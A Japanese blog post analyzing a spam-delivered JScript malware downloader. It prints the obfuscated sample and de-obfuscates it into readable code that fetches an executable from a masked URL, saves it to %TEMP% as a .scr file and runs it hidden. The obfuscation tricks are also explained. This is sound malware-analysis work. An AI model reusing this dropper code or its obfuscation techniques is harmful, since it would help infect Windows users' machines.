LoginSignup
19
18

More than 5 years have passed since last update.

メールに添付されてきたマルウェアの動作解析

Last updated at Posted at 2016-03-04

はしがき

先日,メールボックスに飛び込んできた日本郵政を騙るSPAMメールに怪しいZipアーカイブが添付されてまして。アーカイブの中身を見てみると,妙な名前の JavaScript ファイル(調べてみると正確には JScript ファイルだった模様)が1つだけポツンと入ってました。

下手に動作しないように拡張子を .txt に変えてエディタで開いてみたところ,量的には大したことはないものの,色々と難読化されていてぱっと見では何をしようとしているのかよくわかりません。

てなわけで,ふと気が向いてこのスクリプトが何をしているのか探ってみることにしました。

補足:私自身は JavaScriptJScript)に精通しているとはとても言えませんので,理解のおかしなところがあると思います。詳しい方のツッコミをお待ちします。

補足2:各ソースは横に長いので行末をみるにはスクロールさせてください。

届いたブツ(マルウェア本体のURLはマスク済)
arenaAnonymous = String.prototype.evolutionBusiness.call();
    amortizationAnonymous = ( "R\u0075\u006e");
    autonomousManager = arenaAnonymous[("p" + "\u0072iv\u0061" + "t" + "e", "\u0067a\u006d" + "e", "a" + "s\u0073" + "\u006fcia" + "t\u0069on",  "\u0057\u0053c\u0072" + "i\u0070\u0074")];
    dollarList = autonomousManager[("e" + "x\u0070o" + "\u0072\u0074",  "\u0043\u0072e\u0061\u0074\u0065" + "\u004fbj\u0065" + "ct")](("bo" + "xin\u0067", "log" + "i\u0063", "\u0070a\u0073te", "\u0061rm" + "y",  "\u0057\u0053\u0063r\u0069p" + "\u0074.\u0053hel" + "l"));
    authorityExtract = dollarList[("\u0069" + "ns" + "p\u0065ct" + "\u006fr", "a\u0063" + "ous" + "t\u0069c", "h\u0075m\u0061" + "n\u0065",  "E\u0078p\u0061\u006e" + "\u0064\u0045n" + "\u0076\u0069\u0072" + "\u006fnmen" + "\u0074\u0053\u0074rin" + "gs")](("pu" + "l\u0073e", "\u0062o" + "s\u0073",  "%\u0054EM" + "\u0050%\u002f")) + ("ya\u0072" + "d", "co" + "mbi" + "\u006ee", "\u0072egi" + "\u0073" + "\u0074r\u0079",  "au" + "to\u006d\u006f" + "\u0062" + "i\u006c" + "\u0065A" + "t" + "\u0074ri\u0062" + "\u0075\u0074" + "e") + ("\u0073es" + "s\u0069on",  "\u002esc\u0072");
    licenceAttraction = arenaAnonymous[("s\u0065r" + "i\u006f\u0075\u0073", "\u0073" + "\u0075" + "\u0066fix", "t\u0072" + "il" + "\u006f" + "\u0067y",  "WScr" + "i\u0070t")][( "C" + "\u0072eat" + "eO\u0062\u006a" + "e\u0063t")](("\u006d\u0061\u0067a\u007a\u0069" + "n\u0065", "\u0064e\u0067\u0072" + "a\u0064\u0061\u0074\u0069o" + "\u006e", "\u0073tory",  "MS" + "\u0058\u004dL2\u002e" + "\u0058M\u004c" + "H\u0054\u0054" + "\u0050"));
    licenceAttraction[("\u0072\u0065\u0063" + "\u006fm\u006de\u006e" + "d", "\u0063\u0068" + "a\u006f\u0073",  "\u006fp\u0065n")](( "\u0047\u0045" + "T"), ("p\u0061r" + "i\u0074" + "y", "\u0061u\u0063" + "t\u0069\u006f\u006e", "a" + "\u0069r\u0070\u006c\u0061" + "\u006ee", "\u0072\u0065" + "\u0066o\u0072" + "m",  "\u0068\u0074\u0074p\u003a" + "\u002f\u002f*" + "\u002a*\u002a" + "*\u002fsy" + "\u0073\u0074\u0065m\u002f\u0063" + "ach" + "\u0065\u002f111"), !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
    licenceAttraction[( "\u0073\u0065nd")]();
    while (licenceAttraction[("occ" + "u" + "py", function String.prototype.evolutionBusiness() {return this},  "\u0072e" + "adys" + "t\u0061\u0074\u0065")] < ((2*2)&(182/26))) {
        arenaAnonymous[( "\u0057S" + "\u0063r\u0069\u0070t")][( "\u0053le\u0065" + "p")](((332/2)-(66)));
    }
    candidatePolar = arenaAnonymous[("r\u0065po\u0072" + "\u0074", "\u0065s\u0073ay", "\u0069mp" + "ort", "r\u0065g\u0065\u006et",  "W\u0053\u0063ri" + "pt")][( "C\u0072e" + "a\u0074" + "e\u004f\u0062" + "\u006a" + "ec" + "\u0074")](("\u0076ac" + "\u0061n\u0074", "\u0073\u0075\u0070e" + "rman",  "\u0041" + "DOD\u0042.S" + "t\u0072\u0065" + "\u0061m"));
    try {
        candidatePolar[("shu" + "nt", "\u0063\u0068a\u006f" + "s", "\u006d\u0065\u006d\u0062r" + "a\u006ee",  "\u006f\u0070" + "\u0065n")]();
        candidatePolar[("\u0070o\u0074\u0065" + "\u006e\u0074\u0069\u0061l", "hu" + "mane", "\u0076a" + "\u0063a" + "nt", "\u0073\u0079" + "\u006db" + "o\u006c",  "typ" + "\u0065")] = (1|1);
        candidatePolar[("\u0064i\u0072ec" + "t\u0069ve", "b\u0061\u006ed",  "w" + "\u0072i\u0074e")](licenceAttraction[("\u006c\u0065" + "\u0074h\u0061\u006c", "e\u006e\u0063y\u0063" + "\u006co\u0070\u0065d" + "i\u0061",  "\u0052\u0065\u0073p" + "o\u006ese\u0042" + "\u006f\u0064\u0079")]);
        candidatePolar[("opp" + "o\u0073it" + "io\u006e", "\u0067" + "\u0072\u006f\u0075\u0070", "c\u0061\u0062\u0069\u006ee" + "\u0074", "\u0064\u0069\u0061" + "gra" + "m",  "p\u006f" + "sit" + "\u0069on")] = ((1&0)+0);
        candidatePolar[("\u0064" + "\u0075st", "\u0061pp\u0065" + "al", "\u0069\u006c\u006cu\u0073" + "io\u006e", "\u0066\u0061c\u0061\u0064" + "e",  "s\u0061v" + "\u0065" + "T" + "\u006fFi\u006c" + "e")](authorityExtract, ((([+!+[]]))^(1*3)));
        candidatePolar[("\u0069d\u0065\u0061",  "\u0063\u006c" + "os\u0065")]();
        dollarList[amortizationAnonymous](authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
    } catch (tickInstructor) {};

やったこと

文字列の整理

まず目につくのが文字列中に「\u に続いて16進4桁」というフォーマットが散見される点です。これはユニコード文字をコードポイントで指定しているものです。これは単純に対応する文字に置き換える(\u0061a)ことができます。

また,文字列が + で連結されている箇所も多くありますので,これらを正規化すると,とりあえず JavaScriptJScript)のソースに見えるようにはなります。

List-1
arenaAnonymous = String.prototype.evolutionBusiness.call();
amortizationAnonymous = ("Run");
autonomousManager = arenaAnonymous[("private", "game", "association", "WScript")];
dollarList = autonomousManager[("export", "CreateObject")](("boxing", "logic", "paste", "army", "WScript.Shell"));
authorityExtract = dollarList[("inspector", "acoustic", "humane", "ExpandEnvironmentStrings")](("pulse", "boss", "%TEMP%/")) + ("yard", "combine", "registry", "automobileAttribute") + ("session", ".scr");
licenceAttraction = arenaAnonymous[("serious", "suffix", "trilogy", "WScript")][("CreateObject")](("magazine", "degradation", "story", "MSXML2.XMLHTTP"));
licenceAttraction[("recommend", "chaos", "open")](("GET"), ("parity", "auction", "airplane", "reform", "http://*****/system/cache/111"), !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction[("send")]();
while (licenceAttraction[("occupy", function String.prototype.evolutionBusiness() {return this}, "readystate")] < ((2*2)&(182/26))) {
  arenaAnonymous[("WScript")][("Sleep")](((332/2)-(66)));
}
candidatePolar = arenaAnonymous[("report", "essay", "import", "regent", "WScript")][("CreateObject")](("vacant", "superman", "ADODB.Stream"));
try {
  candidatePolar[("shunt", "chaos", "membrane", "open")]();
  candidatePolar[("potential", "humane", "vacant", "symbol", "type")] = (1|1);
  candidatePolar[("directive", "band", "write")](licenceAttraction[("lethal", "encyclopedia", "ResponseBody")]);
  candidatePolar[("opposition", "group", "cabinet", "diagram", "position")] = ((1&0)+0);
  candidatePolar[("dust", "appeal", "illusion", "facade", "saveToFile")](authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar[("idea", "close")]();
  dollarList[amortizationAnonymous](authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};

カンマ演算子の整理

次に見ていくのは ("private", "game", "association", "WScript") のように,カッコの中に文字列が , 区切りで複数並んでいる箇所です。

Ruby なんかをいじってた関係で,ぱっと見では配列かリストだったりするのか,もしくは関数呼び出しの引数リストだったりするのかな,と思ってしまいましたが,調べてみると JavaScriptJScript)の , って両辺の式を評価して右辺の値を返すという動作のカンマ演算子なんですね。

ということは,上記のような例の場合,"private""game""association"は全てダミーで,最後の "WScript"だけが有効な値だということになります。

それを踏まえてソースを書き換えるとこんな感じになりました。
ここまでくると,なんとなく何がしたいのかは想像できる気がします。

List-2
arenaAnonymous = String.prototype.evolutionBusiness.call();
amortizationAnonymous = "Run";
autonomousManager = arenaAnonymous["WScript"];
dollarList = autonomousManager["CreateObject"]("WScript.Shell");
authorityExtract = dollarList["ExpandEnvironmentStrings"]("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = arenaAnonymous["WScript"]["CreateObject"]("MSXML2.XMLHTTP");
licenceAttraction["open"]("GET", "http://*****/system/cache/111", !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction["send"]();
while (licenceAttraction["readystate"] < ((2*2)&(182/26))) {
  arenaAnonymous["WScript"]["Sleep"](((332/2)-(66)));
}
candidatePolar = arenaAnonymous["WScript"]["CreateObject"]("ADODB.Stream");
try {
  candidatePolar["open"]();
  candidatePolar["type"] = (1|1);
  candidatePolar["write"](licenceAttraction["ResponseBody"]);
  candidatePolar["position"] = ((1&0)+0);
  candidatePolar["saveToFile"](authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar["close"]();
  dollarList[amortizationAnonymous](authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};

ブラケット記法(メンバー演算子)の整理

続いて目につくのが 変数名["文字列"] というフォーマットです。

これまた Ruby なんかの感覚だと,文字列がキーのハッシュのように見えてしまうのですが,JavaScriptJScript)ではオブジェクト名に続く [] はオブジェクトが標準的に持っているメンバ演算子だそうで,文字列でメンバ名を指定するとそのメンバを返してくれるそうです。

つまり,licenceAttraction["send"]()licenceAttraction.send() と置き換えることができるはず。

また,dollarList[amortizationAnonymous]amortizationAnonymous = "Run"; なので dollarList.Run になります。

その辺を踏まえてコードを書き換えるとこんな感じになりました。だいぶプログラムっぽくなってきましたね。

List-3
arenaAnonymous = String.prototype.evolutionBusiness.call();
autonomousManager = arenaAnonymous.WScript;
dollarList = autonomousManager.CreateObject("WScript.Shell");
authorityExtract = dollarList.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = arenaAnonymous.WScript.CreateObject("MSXML2.XMLHTTP");
licenceAttraction.open("GET", "http://*****/system/cache/111", !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction.send();
while (licenceAttraction.readystate < ((2*2)&(182/26))) {
  arenaAnonymous.WScript.Sleep(((332/2)-(66)));
}
candidatePolar = arenaAnonymous.WScript.CreateObject("ADODB.Stream");
try {
  candidatePolar.open();
  candidatePolar.type = (1|1);
  candidatePolar.write(licenceAttraction.ResponseBody);
  candidatePolar.position = ((1&0)+0);
  candidatePolar.saveToFile(authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar.close();
  dollarList.Run(authorityExtract.evolutionBusiness(), ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};

オブジェクトの整理

List-3の1行目にあるオブジェクト arenaAnonymous の定義はこんな感じ。

arenaAnonymous = String.prototype.evolutionBusiness.call();

.callFunction.prototype に定義されていて,レシーバの関数を呼ぶだけの動きですので,要はString.prototype.evolutionBusinessを呼んでいるわけですが,String.prototype には .evolutionBusiness などという関数は標準では定義されていません。

???と思ってList-1をもう一度見返してみると,真ん中あたりに登場する while 文の条件式,licenceAttraction のメンバ演算子に与えられた,カンマ演算子の並びの中の2番目の要素に,こっそり function String.prototype.evolutionBusiness() {return this} と関数定義が紛れ込んでいました。

JavaScriptJScript)では,同じファイル内であれば関数の呼び出しより後に関数定義が書いてあっても構わない,とは聞いていましたが,よもや while 文の条件式の中にあっても大丈夫だとは驚きです。

結果,String.prototype.evolutionBusiness.call()this を返すことになるのですが,JavaScriptJScript)の this って状況によって状態が色々でややこしい。
おそらくですが,特定のオブジェクトのメソッドとして呼ばれたわけではなく,グローバルスコープ中で関数的に呼ばれたことで,ここでの this はグローバルオブジェクトなのではないかと。だとすると,arenaAnonymous は省略できてしまいますね。
一方で,authorityExtract.evolutionBusiness()の場合,.evolutionBusiness() はオブジェクト authorityExtract のメソッドとして呼ばれているため,この時返ってくる this はおそらく authorityExtract 自身ではないかと。(.evolutionBusiness()が呼べる以上,必然的にauthorityExtractは文字列型ということになります)

さらに,List-3の2行目で定義されている autonomousManager = arenaAnonymous.WScript;arenaAnonymous が省略できると WScript そのものになりますんで,その辺を考慮した上で,コードを修正するとこんな感じ。

List-4
dollarList = WScript.CreateObject("WScript.Shell");
authorityExtract = dollarList.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = WScript.CreateObject("MSXML2.XMLHTTP");
licenceAttraction.open("GET", "http://*****/system/cache/111", !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6));
licenceAttraction.send();
while (licenceAttraction.readystate < ((2*2)&(182/26))) {
  WScript.Sleep(((332/2)-(66)));
}
candidatePolar = WScript.CreateObject("ADODB.Stream");
try {
  candidatePolar.open();
  candidatePolar.type = (1|1);
  candidatePolar.write(licenceAttraction.ResponseBody);
  candidatePolar.position = ((1&0)+0);
  candidatePolar.saveToFile(authorityExtract, ((([+!+[]]))^(1*3)));
  candidatePolar.close();
  dollarList.Run(authorityExtract, ((6-6)^0), ((0&0)/(13*2+8)));
} catch (tickInstructor) {};

引数の整理

難読化のためか,数値やブール値の引数にわざわざ無駄な計算をさせている部分が見受けられますので,それらを計算後の値に置き換えます。

最初に出てくるのは licenceAttraction.open の第三引数 !(((((([!+[]+!+[]]*[!+[]+!+[]+!+[]]+(30,1))*([!+[]+!+[]]))+(([!+[]+!+[]]*[!+[]+!+[]+!+[]]-1)*([!+[]+!+[]]*[!+[]+!+[]+!+[]]+1)))+(((15-12)*(42^104)+(1^0))-((242/11)*(4&7)+(3^7))))/((([!+[]+!+[]+!+[]])*([!+[]+!+[]+!+[]]))+(((47&59)-(31^57))+((223,60)-(([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]])*([!+[]+!+[]+!+[]])))))) == 6
やたらと長い式ですが,要するに !(何かの式) == 6 という形ですので左辺はブール値になります。ブール値は暗黙の数値変換では 01 にしかなりませんので,6 との等価演算は,左辺の !(...) の中身が何であろうと常に false になります。

次は while の条件式に出てくる (2*2)&(182/26) ですが,これは 4&7 なのでビット演算でANDを取れば結果は 4

その次の行の (332/2)-(66) に至っては普通に四則演算するだけで 1001|1 はやはりビット演算でORを取って 1(1&0)+01&00 なので 0+0 で結局 0

とここまでは比較的順当に来たのですが,その次に出てくる (([+!+[]]))^(1*3) はちょっと厄介でした。XOR演算子(^)の右辺は普通に 3 なのですが問題は左辺側。
単項加算演算子(+)は右辺を暗黙的に数値に変換するのですが,空配列([])の場合は数値の 0 に変換されるようで,この時点で ([+!0])^3
論理否定演算子(!)は,右辺の式が truthy であれば false,falsy であれば trueを返します。数値の 0 は falsy なので,ここまでで ([+true])^3
先ほどの例と同じく単項加算演算子(+)によって true が数値の 1 に暗黙変換されて [1]^3
で,暗黙的に数値としてみなせる要素を1つだけ含む配列は,その要素の数値に暗黙変換されるようでXOR演算子(^)によって [1]1 になって 1^3 のXORを取ると最終的には 2 になりました。

残りは大したことはなく,(6-6)^00^00(0&0)/(13*2+8)0/34 でやはり 0

List-5
dollarList = WScript.CreateObject("WScript.Shell");
authorityExtract = dollarList.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr";
licenceAttraction = WScript.CreateObject("MSXML2.XMLHTTP");
licenceAttraction.open("GET", "http://*****/system/cache/111", false);
licenceAttraction.send();
while (licenceAttraction.readystate < 4) {
  WScript.Sleep(100);
}
candidatePolar = WScript.CreateObject("ADODB.Stream");
try {
  candidatePolar.open();
  candidatePolar.type = 1;
  candidatePolar.write(licenceAttraction.ResponseBody);
  candidatePolar.position = 0;
  candidatePolar.saveToFile(authorityExtract, 2);
  candidatePolar.close();
  dollarList.Run(authorityExtract, 0, 0);
} catch (tickInstructor) {};

変数名の整理

これは特に必要ないかもしれませんが,なんとなく変数名がオブジェクトと無関係すぎて読みにくかったので,最後にある程度オブジェクトに沿った変数名に変更。

最終的にこのスクリプトは以下のような機能を持っていることがわかりました。

  1. 所定のURL(http://*****/system/cache/111)から実行ファイルをダウンロードする
  2. ダウンロードした実行ファイルを,環境変数TEMP で指定されたフォルダ(C:\TEMP\など)の配下に automobileAttribute.scr という名前で保存する
  3. automobileAttribute.scr を実行する

実際に行われる感染行動はダウンロードする実行ファイル次第ですが,WSHの機能(WScript)を利用しているためターゲットはWindows限定,といったトコロでしょうか。

List-6
ws_shell = WScript.CreateObject("WScript.Shell");
exec_file_name = ws_shell.ExpandEnvironmentStrings("%TEMP%/") + "automobileAttribute.scr");
http = WScript.CreateObject("MSXML2.XMLHTTP");
http.open("GET", "http://*****/system/cache/111", false);
http.send();
while (http.readystate < 4) {
  WScript.Sleep(100);
}
stream_io = WScript.CreateObject("ADODB.Stream");
try {
  stream_io.open();
  stream_io.type = 1;
  stream_io.write(http.ResponseBody);
  stream_io.position = 0;
  stream_io.saveToFile(exec_file_name, 2);
  stream_io.close();
  ws_shell.Run(exec_file_name, 0, 0);
} catch (tickInstructor) {};

あとがき

ちょっとした興味で始めたマルウェア解析でしたが,途中はちょっとしたパズルを解いてる感覚で楽しかったです。

解析を終えてみると,カンマ演算子やメンバ演算子など,他の言語をかじっていると返って本来の機能を見誤りそうなJavaScriptJScript)独特の文法や,暗黙の型変換を駆使した数値計算など,難読化にかけるマルウェア製作者の知識と発想に正直圧倒された感じです。

evalなしでもココまでできるんですね。

ただ,そのスキルがマルウェア開発という方向に使われてしまったことが残念でなりません。

19
18
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
19
18